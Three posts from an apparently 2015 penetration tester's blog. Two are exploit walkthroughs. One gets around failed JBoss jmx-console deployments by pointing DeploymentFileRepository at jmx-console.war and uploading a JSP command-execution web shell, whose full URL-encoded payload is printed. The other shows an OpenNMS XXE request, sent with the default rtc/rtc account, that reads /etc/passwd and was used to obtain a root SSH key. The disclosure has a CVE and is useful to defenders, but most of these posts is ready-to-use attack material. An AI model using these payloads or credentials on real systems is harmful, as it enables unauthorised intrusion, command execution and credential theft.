Tuesday, November 3, 2015

The Proud Owner of a New Shiny Blog

Although you probably haven't noticed, things around here have been pretty quiet lately. That's partly because I've been saving up all my cool stuff for a new blog! I just dropped the first two posts at http://foxglovesecurity.com. For those actually reading this, I recommend keeping an eye on it or following @foxglovesec, there's going to be a third post later this week that will really knock your socks off.

Going forward, this blog will likely become a space to post things that my team members at FoxGlove Security wouldn't approve of, or don't care about.

Monday, August 17, 2015

Bad AS - More on Broken JBoss Configurations

It's been a while since I've posted anything about JBoss. Once in a while I still get an email or IM about someone trying to use the exploit code released here or in the "clusterd" framework against a JBoss instance that should be vulnerable, but seems to fail when the payload attempts to deploy. This was (and still is) a bit of a mystery, mostly because I haven't spent the time to reproduce these configurations.

In a somewhat recent engagement, my team ran up against such a JBoss instance for the first time. Authentication was not enabled on the HtmlAdaptor interface or jmx-console interfaces. They could be accessed, properties could easily be changed, but when a shell was deployed through either of the two JBoss deployers that we had used in previous exploits (MainDeployer or DeploymentFileRepository), the deployment would fail and the shell would not be accessible.

I was highly motivated to get the exploit working and decided to dive a little deeper, eventually finding a workaround that should avoid a lot of future headaches.

Phase 1 - Reconfiguration

The first phase of this exploit involves applying a configuration change to the "DeploymentFileRepository" through the HtmlAdaptor. This should also be possible through the "JMXInvokerServlet" interface, however I haven't had the joy of jumping through those hoops yet. The page is accessed at: 
  • /jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.admin%3Aservice%3DDeploymentFileRepository
The property "BaseDir" should be updated to point to jmx-console.war as follows:


Note that this works because jmx-console.war is an "exploded" war file - ie. a directory with ".war" in the name. Anything you put in this directory is accessible at http://host:port/jmx-console/... It should be obvious at this point where this is going.

Phase 2 - Shell Upload

Now we can use any method we please to attempt to deploy a malicious "war" file to the application server. Since we're already on the DeploymentFileRepository configuration page, I just did it directly from there, as follows:

The resulting POST request when invoking the operation looks like this:
  • action=invokeOp&name=jboss.admin%253Aservice%253DDeploymentFileRepository&methodIndex=5&arg0=testshell.war&arg1=test&arg2=.jsp&arg3=%3C%25%40+page+import%3D%22java.util.*%2Cjava.io.*%22%25%3E%3C%25%25%3E%3CHTML%3E%3CBODY%3ECommands+with+JSP%3CFORM+METHOD%3D%22GET%22+NAME%3D%22myform%22+ACTION%3D%22%22%3E%3CINPUT+TYPE%3D%22text%22+NAME%3D%22cmd%22%3E%3CINPUT+TYPE%3D%22submit%22+VALUE%3D%22Send%22%3E%3C%2FFORM%3E%3Cpre%3E%3C%25if+%28request.getParameter%28%22cmd%22%29+%21%3D+null%29+%7B++++out.println%28%22Command%3A+%22+%2B+request.getParameter%28%22cmd%22%29+%2B+%22%3CBR%3E%22%29%3B++++Process+p%3B++++if+%28+System.getProperty%28%22os.name%22%29.toLowerCase%28%29.indexOf%28%22windows%22%29+%21%3D+-1%29%7B++++++++p+%3D+Runtime.getRuntime%28%29.exec%28%22cmd.exe+%2FC+%22+%2B+request.getParameter%28%22cmd%22%29%29%3B++++%7D++++else%7B++++++++p+%3D+Runtime.getRuntime%28%29.exec%28request.getParameter%28%22cmd%22%29%29%3B++++%7D++++OutputStream+os+%3D+p.getOutputStream%28%29%3B++++InputStream+in+%3D+p.getInputStream%28%29%3B++++DataInputStream+dis+%3D+new+DataInputStream%28in%29%3B++++String+disr+%3D+dis.readLine%28%29%3B++++while+%28+disr+%21%3D+null+%29+%7B++++out.println%28disr%29%3B++++disr+%3D+dis.readLine%28%29%3B++++%7D%7D%25%3E%3C%2Fpre%3E%3C%2FBODY%3E%3C%2FHTML%3E&arg4=True

Phase 3 - Shell Access

At this point your shell is not actually "deployed" to JBoss - because deployment was failing and that's the whole reason we went through all this trouble in the first place. However, the actual upload step is decoupled from deployment, and even if deployment fails, those uploaded files remain on the server. With the values I used for the test shell above, you would then be able to access your shell at:
  • http://host:port/jmx-console/testwar.war/test.jsp


Further Work

As mentioned previously, in theory this work work with the JMXInvokerServlet and EJBInvokerServlet deployers, it would just require a little bit of coding.


Wednesday, January 21, 2015

OpenNMS 0-day -> XXE to Shell

OpenNMS is an open source network management application. We see these things occasionally on internal penetration tests and given the nature of network monitoring systems, they can be an attractive target. If you pop the NMS, sometimes you can find credentials or keys for other servers and devices, or if the box is based on a standard internal build and you can crack (or find) a local account password, you might be able to gain some lateral movement.

With that in mind, and the fact that there weren't a lot of other interesting targets on this particular network, we set to work.

The OpenNMS login page was discovered using the tool we recently dropped at Schmoocon, httpscreenshot (https://github.com/breenmachine/httpscreenshot). Any time I see a login page for some unknown device or service I consult Google with "<devicename> default password". If you do that now, you'll find references to this vulnerability, but just a month or so ago you would have seen the following page among the top results:

  • http://marc.info/?l=opennms-discuss&m=112809902228006
The above references a default account named "rtc" with password "rtc". Almost noone changes the password on this account (except that one guy in the forum post apparently), because it is an ultra low privilege service account that simply talks to the OpenNMS web service. Logging into the web interface with this account proved useless, while authentication succeeds, no options are available.

Knowing that the account must be used for something, a little more Googling turned up the "rtc" URL and the fact that it was actually an XML based web service. With that in mind, I decided to take a shot in the dark at XXE:


POST /opennms/rtc/post/xxxxx HTTP/1.1
Host: 1.2.3.4:8980
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Firefox/31.0 Iceweasel/31.2.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://1.2.3.4:8980/opennms/frontPage.htm
Cookie: JSESSIONID=somethingsomethingsomething
Connection: keep-alive
Content-Length: 151

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ <!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo>

Of course it worked, I probably wouldn't be writing this otherwise.

The shell was trivially obtained by pulling /root/.ssh/ssh_rsa and logging into the machine...

Juken, (https://jstnkndy.github.io) reported the vulnerability to OpenNMS and had a CVE assigned. They did a really cool and detailed wiki post: http://www.opennms.org/wiki/CVE-2015-0975

He also wrote a metasploit module for this vulnerability: https://github.com/rapid7/metasploit-framework/pull/4585